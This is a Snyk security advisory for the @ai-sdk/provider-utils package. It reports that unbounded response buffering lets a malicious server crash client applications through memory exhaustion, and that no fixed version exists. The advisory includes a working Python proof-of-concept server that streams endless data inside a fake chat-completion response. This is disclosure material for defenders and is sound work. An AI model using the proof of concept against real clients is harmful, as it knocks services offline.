Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for @ai-sdk/provider-utils.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in various respons.text() invocations in response-handler.ts, which accept and buffer arbitrarily long request strings. Functions like createJsonResponseHandler() and createJsonErrorResponseHandler() perform these unbounded calls, without recourse to protections afforded by higher level JSON handling APIs. An attacker who can convince a client to connect to a malicious server can trigger an out of memory failure.
Malicious server:
import http.server import socketserverclass MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(b'{ "id": "chatcmpl-1", "object": "chat.completion", "created": 123, "model": "gpt-4", "choices": [ { "index": 0, "message": { "role": "assistant", "content": "') try: while True: self.wfile.write(b' ' * 1024 * 1024) self.wfile.flush() except Exception: pass
socketserver.TCPServer(("", 8089), MaliciousHandler).serve_forever()